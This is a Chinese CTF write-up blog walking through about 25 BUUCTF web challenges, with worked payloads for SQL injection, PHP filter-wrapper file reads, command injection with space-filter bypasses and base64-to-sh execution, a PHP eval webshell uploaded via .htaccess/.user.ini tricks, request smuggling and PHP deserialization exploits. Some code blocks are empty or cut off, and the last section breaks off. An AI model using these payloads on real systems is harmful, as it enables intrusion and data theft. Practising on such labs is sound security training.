陪XX的WebBUU刷题(一)
一、EasySQL
🔺SQL注入登录
简单的SQL注入
1.查看网页源代码
可以看到是check.php在对登录按钮进行操作,使用的方法是GET,加上题目提示是SQL注入,所以就直接尝试SQL注入。
2.注入原理
由于SQL注入中涉及单引号和双引号,且对字符串的处理基本都是单引号进行处理,检测一下,倘若我们使用双引号进行注入
1 | check.php?username=aaa' or "1"="1&password=aaa' or "1"="1 |
那么出现如下错误
那么采用单引号进行注入
1 | check.php?username=aaa' or '1'='1&password=aaa' or '1'='1 |
之后即可成功
二、[HCTF 2018]WarmUp
🔺文件包含漏洞
提示有source.php
,访问一下看到源码,代码审计
1 |
|
即emmm::checkFile
函数返回True
可以触发文件包含,这里简单调试一下就知道,由于mb_substr
和mb_strpos
的使用,导致可以用file=source.php?xxxxx
来进行绕过检测。
即最终可以执行到include("source.php?xxxxx")
然后查看hint.php
,发现flag
为ffffllllaaaagggg
,那么即可触发文件包含漏洞,执行代码include("source.php?../../../../../../ffffllllaaaagggg")
这里比较有意思的一点是对于include
函数的使用
1 | include("xxxx.php?../../flag"); |
两个类似的代码,一个有?
,一个没有,然后在Linux
环境下,这两个代码都代表包含当前目录下的flag
,但是在Windows
环境下,有?
的执行不成功,没有的可以执行成功,有点离谱。
当然,这个xxxx.php
换成其他字符都可以。
三、[极客大挑战 2019]Havefun1
🔺简单查询
查看源代码,跳过css和style部分
可以看到注释部分的提示
即当cat=dog时,就会输出Syc{cat_cat_cat},但是一般这都是作者给的提示,实际输出内容可能不是Syc{cat_cat_cat},所以先尝试一波
1 | url/index.php?cat=dog |
直接出flag了
四、[ACTF2020 新生赛]Include
🔺PHP伪协议
1.前置探索
点击tips之后发现输出提示,获取到使用file协议的flag.php
查看flag.php的网页源代码但是什么也没有
之后尝试利用php的伪协议来读取flag.php的源代码
2.php伪协议利用
这个比较复杂,之后再专门总结一下,反正这里涉及了file,那么尝试用该协议的payload来读取
1 | /?file=php://filter/read=convert.base64-encode/resource=flag.php |
这里给出的是比较普遍性的,用base64来进行获取的,读取之后得到base64编码的一串字符
3.base64解码
获取到上面的base64编码后,运用CyberChef解码即可得到flag
五、[强网杯 2019]随便注1
🔺SQL注入+三种姿势
可以先用单引号判断是否存在SQL注入
1 | /index.php?inject=1' |
出现如下,出错则代表存在
那么先查询存在的表
1 | /index.php?inject=';show tables;# |
发现有如下两个表
然后分别查看一下对应的
1 | /index.php?inject=';show columns from words;# |
1 | /index.php?inject=';show columns from `1919810931114514`;# |
那么flag就在表1919810931114514中,注意查询数字表的时候需要加反引号`
解析words表
那么由于输入1,2会出现如下数据
这里的第二个数据段是字符型,那么就应该是在表words中,此时就大概是如下的表格
id | data |
---|---|
1 | hahahah |
2 | miaomiaomiao |
解析1919810931114514
表
依据列大概猜测如下
flag |
---|
………..不知 |
这里select被过滤了,无法直接从表1919810931114514中获取所以尝试一下其他的解法。
1.解法一(改表)
修改表名字,使得保存flag的表1919810931114514名字变为表words,之后把flag字段变为data字段,添加id字段,输入1,2然后就可以打印出flag了。
(1)改名
1 | /index.php?inject=1'; rename table words to word1; rename table `1919810931114514` to words;# |
(2)增添id字段
1 | /index.php?inject=1'; alter table words add id int unsigned not Null auto_increment primary key;# |
(3)修改flag为data字段
1 | /index.php?inject=1';alert table words change flag data varchar(100);# |
总的payload
1 | /index.php?inject=1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key;alert table words change flag data varchar(100);# |
最后输入1提交即可
2.解法二(open和handler)
利用open和handle关键字
1 | /index.php?inject='; handler `1919810931114514` open as `a`; handler `a` read next;# |
这样可以直接读出来表1919810931114514
的所有内容
3.解法三(MySQL的预处理)
利用预处理机制prepare和concat拼接获得select操作,之后execute来执行,这里好像不能小写,可以通过大写来绕过
1 | /index.php?inject=';PREPARE st from concat('s','elect', ' * from `1919810931114514` |
六、[SUCTF 2019]EasySQL
涉及知识点有点多
七、[ACTF2020 新生赛]Exec
🔺命令执行+寻找flag
1.远程命令执行
一般这种ping的界面,都可能会涉及到命令执行
那么直接尝试一下即可,ping一下本地回环地址
输入
1 | 127.0.0.1;pwd |
可以看到存在远程命令执行,那么就尝试找flag在哪,也就是一个路径搜索。
2.搜索flag路径
输入
1 | 127.0.0.1;ls |
那么去根目录找
输入
1 | 127.0.0.1;ls / |
可以看到flag,那么直接cat即可
1 | 127.0.0.1;cat /flag |
得到flag
八、[极客大挑战 2019]Secret File
🔺抓包+伪协议
1.前期探索
查看源代码,有如下文件,访问一下
接着按照提示,但是直接跳转到了
那么中间可能执行太快,这时候就需要抓包来看看具体是怎么执行的。
2.抓包
用BurpSuit抓包,发现有一个action.php,里面有个secr3t.php的提示
访问一下secr3t.php
提示放在了flag.php,访问之后发现什么也没有
那么这里由于secr3t.php存在file的协议,所以可以尝试使用php伪协议获取flag.php的源代码
1 | /secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php |
拿到CyberChef解密,得到flag
九、[极客大挑战 2019]LoveSQL
十、[GXYCTF2019]Ping Ping Ping
🔺命令执行
1.前期探索
Ping提示+ip,应该是命令执行,直接ls试试
1 | /?ip=127.0.0.1;ls |
发现flag,尝试cat
1 | /?ip=127.0.0.1;cat flag.php |
2.绕过过滤
应该是过滤的空格
▲绕过空格:一般思路如下
1 | $IFS |
参考[GXYCTF2019]Ping Ping Ping - 春告鳥 - 博客园 (cnblogs.com)
使用$IFS
可以,但是又发现过滤了flag
那么接下的解法就多种多样了。
解法一:拼接flag
1 | /index.php?ip=127.0.0.1;b=ag.php;a=fl;cat$IFS$1$a$b |
flag在注释里,查看网页源代码即可
解法二:sh结合base64
▲linux自带base64和base32
由于linux的sh自带base64的加解密,所以我们可以传入base64的密文,然后利用linux的sh终端自带的base64解密功能进行解密,这样可以在一定程度上绕过很多过滤,另外base32也可以
(1)base64加密
使用CyberChef或者linux命令行都行
(2)base64解密
1 | echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh |
将之前加密的”cat flag.php”传给base64解密,然后sh执行
对应写在URL上即为
1 | /index.php?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh |
解法三:linux内联执行
命令中会先执行反引号里的,然后将输入结果依次传递给其他命令进行执行
由于flag就在当前文件夹下,所以
1 | cat `ls`; |
对应URL为
1 | /index.php?ip=127.0.0.1;cat$IFS$9`ls` |
▲其他
此外命令执行有很多方法可以绕过,这里ban掉了很多,像<
,\
等都是有可能
命令执行绕过的方法 - GLCC - 博客园 (cnblogs.com)
十一、[极客大挑战 2019]Knife
🔺一句话木马
依据提示以及如下的语句,猜测是一句话木马,密码为Syc
使用蚁剑连接
然后直接复制URL进行连接即可,右键->添加数据
进去之后进入根目录寻找flag
十二、[极客大挑战 2019]Http
🔺使用BurpSuit改包头
1.前期探索
直接源代码,搜索.php,发现一个Secrect.php
然后访问,发现需要从https://Sycsecret.buuoj.cn访问才行
那么就使用BurpSuite进行修改
2.BurpSuite使用改包
首先浏览器开启代理,BurpSuite抓到包
然后将包发送到repeater
在Repeater最新出现的一部分就是
(1)修改Referer
由于说要从https://Sycsecret.buuoj.cn访问,所以添加如下,在Get下添加
1 | Referer: https://Sycsecret.buuoj.cn |
点击Go按钮发送包
返回的包提示不行,那么需要修改浏览器名称
(2)修改User-Agent
修改如下
1 | User-Agent: Syclover |
还是不行,提示需要从本地local读取
(3)修改X-Forwarded-For
添加如下
1 | X-Forwarded-For: 127.0.0.1 |
发送后得到flag
十三、[极客大挑战 2019]Upload
🔺文件上传漏洞、一句话木马
1.前期探索
进入之后发现让选择图片进行上传,那么就考虑一句话木马的隐写,然后再上传
首先尝试上传.php文件,失败,接着考虑测绕过。
2.绕过过滤
(1)修改Content-Type
失败,后缀名不能为.php
(2)修改后缀名
修改为phtml,这种格式在服务器也会被作为php文件解析。
成功,但是不能是<?
开头,那么尝试使用html格式。还有的php文件后缀名可以修改如下
1 | - 利用中间件解析漏洞绕过检查,实战常用 |
[BUUOJ记录] [ACTF2020 新生赛]Upload - Ye’sBlog - 博客园 (cnblogs.com)
(3)修改php格式
修改内容为
1 | <script language="php">eval($_POST['shell']);</script> |
成功,但是也被探测到,那么尝试修改文件头部格式
(4)尝试修改文件头部
在文件头加上GIF89a
上传成功
3.查找上传文件路径
一般而言,上传的都在upload,成功找到
那么蚁剑连接,根目录下找到flag
十四、[ACTF2020 新生赛]Upload
和十三题一样,直接一句话木马,文件格式为phtml,修改content-type即可,然后蚁剑连上在根目录下找flag。需要注意的是要先上传成功一个文件才会抓到上传的包,因为这里的验证是在前端验证后缀名的。
十五、[RoarCTF 2019]Easy Calc
🔺命令执行、php字符串解析、HTTP走私攻击
1.前期探索
查看源代码,发现如下.php文件
访问一下,发现源代码,分析过滤了一些东西,然后我们输入的num字符串进行解析,并且使用eval执行后输出
主要以下代码,过滤了很多东西,然后执行输出
1 | $str = $_GET['num']; |
尝试phpinfo(),发现直接报错,大佬们说是Waf的原因,具体也不太知道怎么判断出Waf的,经过测试,这里的waf会过滤掉所有带字母的num变量内容。
所以大概有两种方法
2.解决方法
解法一:利用php字符串解析特性绕过WAF
(1)绕过WAF
利用php解析字符串时,会自动去掉多余的空格这个特性,即当我们调试时
输入中间加入了空格的num,发现php依然能够成功解析出num这个变量
1 | http://127.0.0.1/index.php?%20num=phpinfo() |
但是WAF可不会管空不空格的,对于Waf来说,传过去的是带了空格的num变量,不是num变量,所以不会进行过滤,会将带了空格的num变量传递给calc.php文件进行解析,这样就成功绕过了WAF。
(2)绕过过滤
由于过滤了/
,所以这里使用chr(47)
来进行绕过,这是/
字符的ascii码
先查看根目录下有什么内容
1 | /calc.php?%20num=var_dump(scandir(chr(47))) |
发现有flag
那么利用php中的函数进行获取
1 | /calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)) |
得到flag
解法二:利用HTTP走私攻击
这个具体的原理实在是有点不太能理解,可能需要深入研究一下。以我的理解来说,就是通过修改content-length
或者Transfer-Encoding
,来使得数据包在前后端解析的过程中,让前端以为该数据包的内容比较少,使其认为不包含需要过滤的内容,从而把完整的数据包发给后端,绕过前端的Waf等过滤。
BurpSuit抓包之后,修改content-length
或者Transfer-Encoding
(1)利用CL-CL
1 | Content-Length: 0 |
(2)利用CL-TE
1 | Transfer-Encoding: chunked |
有时候又很奇怪,就离谱。
同时GET改成POST也是可以的。
后面都一样了,就是绕过后端的过滤。
4.17. HTTP 请求走私 — Web安全学习笔记 1.0 文档 (websec.readthedocs.io)
十六、[极客大挑战 2019]PHP
🔺PHP反序列化
1.分析
dirsearch
扫描发现www.zip
,该文件为网址备份文件,可以下载下来,其中为
之后看index.php
中有如下代码
再转到class.php
1 |
|
在__destruct
函数中,当传入的用户名为admin
会输出flag
,但是在__wakeup
函数中,用户名被赋值为guest
。我们知道__wakeup
是在反序列化的最开始调用的,需要去找个绕过方法。
2.绕过__wakeup
(1)CVE-2016-7124
满足如下条件
1 | PHP5 < 5.6.25 |
在反序列化时,成员个数的值大于实际成员个数时,会跳过__wakeup
函数的执行,也就是使得传入的序列化字符串的成员个数大于实际的成员个数。如下,将Name
这个对象对应的成员个数由原本的2改为3即可绕过。
1 | O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} |
参考:PHP 内核层解析反序列化漏洞 (seebug.org)
(2)小技巧
对于实际添加成员的属性也能从一种程度上绕过__wakeup
,如下所示
1 |
|
先生成一下序列化链子,得到$originStr
1 | $originStr = 'O:1:"B":1:{s:1:"a";O:1:"A":0:{}}'; |
之后进行反序列化,发现先__toString
,再调用__wakeup
1 | unserialize($objStr); |
这样也代表从另一种方式绕过__wakeup
函数了。
此外替换s:1:"n":N;
为;
其实也是可以的,在php8
版本下也是可以的,不知道是不是某个CVE
,
(3)php_bug
题目见:Sekai Game Start
PHP :: Bug #81151 :: bypass __wakeup
1 |
|
如下所示,在php8.0
也可以
3.private成员
序列化时
1 |
|
不同类型的成员序列化之后成员变量名保存的形式不太一样
private
变为
\x00className\x00memberName
public
仍然为原始的,即
username
protected
变为
\x00*\x00memberName
所以在传入反序列字符串时,需要考虑到这些特点,这里对应private
成员就需要传入URL
编码的\x00
即%00
4.最终payload
修改成员数量绕过__wakeup
,加入%00
表示private
成员
1 | select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
十七、[ACTF2020 新生赛]BackupFile
🔺PHP弱类型比较、网站源码备份
首先获取备份源码url/index.php.bak
,扫一下也可以
1 |
|
看到当传入的key
等于str
时会打印flag
,但是又不能传字符,这里就用到弱类型比较
1 |
|
上述代码会输出bbbb
,原因就是当==
比较对象中任意一个为数字,就会把另一个比较对象也强制转换为数字,对于字符串型的强制转换,会从左开始遍历,直到碰到非数字的部分,丢弃之后的部分,转换为数字,所以条件成立。
1 | $abc = "123aaaa333"; |
上述代码会输出123
,
那么传入key=123
即可。
十八、[HCTF 2018]admin
🔺爆破、模板库函数、
一题三解之2018HCTF&admin - 安全客,安全资讯平台 (anquanke.com)
提示admin
,有登录注册界面,注册界面注册admin
失败,应该有该用户。那么直接尝试Burpsuite
弱密码爆破。BUU平台发包需要慢一点
爆出来123,登录得flag
。这不算什么解法,就记录一下。
1.解法一
python
的flask
模板库Twisted
中的函数问题
在修改密码的页面源代码有提示,该网站使用的为python
的flash
模板,给了相关网址:woadsl1234/hctf_flask: hctf_flask (github.com),其中的各个包版本
查找
flask
的路由routes.py
,注册、登录、修改密码的相关函数,使用的都是strlower
函数1
2
3def strlower(username):
username = nodeprep.prepare(username)
return username来将用户名进行小写化,而
nodeprep
位于包Twisted==10.2.0
下载对应版本的包,跟进查看函数
1
2
3
4
5nodeprep = Profile(mappings=[B_1, B_2],
prohibiteds=[C_11, C_12, C_21, C_22,
C_3, C_4, C_5, C_6, C_7, C_8, C_9,
LookupTable([u'"', u'&', u"'", u'/',
u':', u'<', u'>', u'@'])])使用相关的
unicode
编码,相关编码可查:Unicode - Unicode Character Table (unicode-table.com)
制定了相关表格索引,不知道是怎么制定的,应该是字典啥的把,比如经过
nodeprep.prepare
之后1
2u'\u0041' ----> u'\u0061'
A ----> a不过在该题的版本下,也就是
Twisted==10.2.0
,其内部代码可能有点问题,导致1
2u'\u1d2c' ----> u'\u0041'
ᴬ ----> A这样就有点问题,导致如下情况
1
2strlower('ᴬ')=A
strlower('A')=a不过现在最新版本的
Twisted
已经没了这个问题。依据这样,注册的时候使用
ᴬdmin
,变成了用户Admin
。然后登录Admin
,修改密码,变成了修改admin
的密码,即可得到admin
账户。
2.解法二
利用flask
模板存在于客户端的缺陷,伪造session
,版本安装老失败,放弃
3.解法三
条件竞争,就是在改密码的时候中断,然后利用登录功能,尝试登录admin
,将当前的session['name']
改为admin
,之后再回到改密码的地方,将admin
的密码改掉。
按理说再登录的时候,应该先查有没有该用户的,登录之后再进行session['name']
的赋值这里就是利用了先赋值session['name']
的漏洞。
十九、[BJDCTF2020]Easy MD5
[BUUOJ记录] [BJDCTF2020]Easy MD5 - Ye’sBlog - 博客园 (cnblogs.com)
🔺MD5+SQL、PHP弱比较、数组绕过
1.MD5实现SQL注入
第一关的的http
头部有hint
1 | select * from 'admin' where password=md5($pass,true) |
参数为true
代表返回原始16字符二进制格式,也就是相当于SQL
语句被md5
之后的字符直接控制,那么尝试构造如下
1 | select * from 'admin' where password=''or'xxx' |
这样就能绕过了。
也就是找一个字符串str
,其md5(str)='or'xxx
,而'or'
对应的16进制为0x276f7227
,那么字符串ffifdyop
的md5
就满足这个条件(不知道这么来的)。
PS:那如果以后想找不一样的的,是否需要用到md5
碰撞?
2.PHP结合MD5弱类型比较
查看源码,注释部分有提示
1 | $a = $GET['a']; |
这个没啥好说的,找一下0exx
这个科学计数法,代表0的xx次方,还是0。QNKCDZO
和s214587387a
3.数组绕过
有源码
1 |
|
利用PHP
的md5
计算特性
1 | md5(array()) = null |
POST
传入param1[]=1¶m2[]=2
即可得到Flag
二十、[ZJCTF 2019]NiZhuanSiWei
🔺伪协议、反序列化
给了源码
1 |
|
需要设置text
,但是用的是file_get_contents
,这个需要为文件流,可以使用data
伪协议。
1 | text=data://text/plain,welcome%20to%20the%20zjctf |
然后file
提示包含进useless.php
,使用php://filter/
伪协议进行读取
1 | file=php://filter/read=convert.base64-encode/resource=useless.php |
base64
解码后获取到源码
1 |
|
可以看到会输出file
成员指向的文件,那么修改file
为flag.php
,进行序列化,得到
1 | O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
结合所有的,最后反序列化password
得到最终的payload
1 | text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
在源码注释中看到flag
二十一、[MRCTF2020]你传你🐎呢
🔺.htaccess
利用
传入.htaccess
如下
1 | <FilesMatch "test.png"> |
使得php
可以解析test.png
为php
,从而执行。不过.htaccess
只能在apache
服务中起作用
二十二、[SUCTF 2019]CheckIn
🔺.user.ini
利用
传入.user.ini
如下
1 | GIF89a |
参考浅析.htaccess和.user.ini文件上传 - FreeBuf网络安全行业门户
auto_prepend_file
表示.user.ini
存在的当前目录下执行php
代码之前,预先文件包含进origin.png
,从而能够进行作为php
代码解析
二十三、[网鼎杯 2020 青龙组]AreUSerialz
🔺php反序列化的属性不敏感
打开得到源码
1 |
|
可以看到条件如下:
GET
传入的str
中每一个字符都需要在%32~%125
,属于可见字符中- 当
op
为"2"
是,打印出filename
filename
需要为flag.php
条件一
这个使用php7.1+
针对成员属性不敏感的特性,即序列化后的字符串其正常的protected
成员会有\00*\00
来修饰,但是这里不允许传入\00
,那就不传入。这个php7.1+
的特性允许在没有修饰的时候,也能进行转换,不管是private
还是protected
。但是php7.1
以下则不行,会将相关的变量置为null
,如下所示,从而无法利用。
至于后面的多出来的属性是怎么回事,就不太知道了,估计是php
底层代码问题
条件二
可以注意到第一次在__destruct
中比较op
用的是强比较===
1 | if($this->op === "2") |
而第二次在process
函数中用的是弱比较==
1 | if($this->op == "1") { |
那么就可以使得op
为int
型的2
,这样即可如下结果
1 | if($this->op === "2") 为False |
那么即可顺利跳到打印filename
的地方
条件三就不用说了,对应赋值即可,最终payload
1 | ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;} |
flag
在注释里。
二十四、[SWPUCTF 2021 新生赛]pop
🔺PHP的POP链
1.漏洞分析
直接给了源码
1 |
|
只要调用到w33m->__toString
就可以执行任意方法了。
2.漏洞利用
那么就是POP
链了,就是借用PHP
反序列的时候调用的各种魔术方法,串联起来,类似JAVA
的反序列化,这里的链子即为
1 | w22m->__destruct() |
即设置$this->w22m
为Getflag
,$this->w00m
为w44m
的实例化对象,即如下
1 |
|
注:
反序列
unserialize
只会调用到传入对象的__destruct
,而不会调用其成员函数的__destruct
函数调用的特殊写法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class w44m{
private $admin = 'aaaa';
protected $passwd = 'bbbb';
public function test($a,$b){
echo $a;
echo $b;
echo "myTest";
}
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$c33 = new w33m();
$c33->w22m = new w44m();
$c33->w00m = "test";
$c33->w22m->{$c33->w00m}("aaa","bbb");即可以使用
$c33->w22m->{$c33->w00m}("aaa","bbb");
这种方式来调用某个类的方法。
二十五、[RoarCTF 2019]Easy Java
打开是登录界面,查看help,发现URL有点问题